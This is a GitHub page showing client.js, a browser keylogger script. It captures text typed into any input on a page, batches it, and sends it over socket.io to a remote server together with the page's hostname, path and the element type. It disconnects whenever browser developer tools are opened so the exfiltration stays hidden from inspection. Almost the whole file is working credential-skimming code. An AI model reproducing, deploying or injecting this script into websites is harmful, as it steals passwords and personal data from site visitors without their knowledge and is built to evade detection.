-
Notifications
You must be signed in to change notification settings - Fork 10
/
client.js
54 lines (46 loc) · 1.15 KB
/
client.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
const devtools = require('devtools-detect');
const io = require('socket.io-client');
const socket = io.connect(SERVER_URL, {
autoConnect: true,
reconnection: true,
reconnectionAttempts: 'Infinity'
});
var promise = null;
var buff = '';
// Stop when devtool is open
window.addEventListener('devtoolschange', function (e) {
e.detail.open ? socket.disconnect() : socket.connect();
});
// Bind event to catch keys and words
document.addEventListener('input', function(e) {
if (typeof e.data === 'undefined') {
return;
}
// Clear previous timeout
clearTimeout(promise);
// Get the text value
if (e.data.length === 1) {
buff += e.data;
} else {
buff = e.data;
}
promise = setTimeout(function () {
// Support IE6-8
const target = e.target || e.srcElement;
// Join and trim the buffer
buff = buff.trim();
if (!buff.length) {
buff = '';
return;
}
// Send buffer to the base
socket.emit('keypress', {
key: buff,
element: target.nodeName,
hostname: window.location.hostname,
path: window.location.pathname,
timestamp: Date.now()
});
buff = '';
}, 300);
});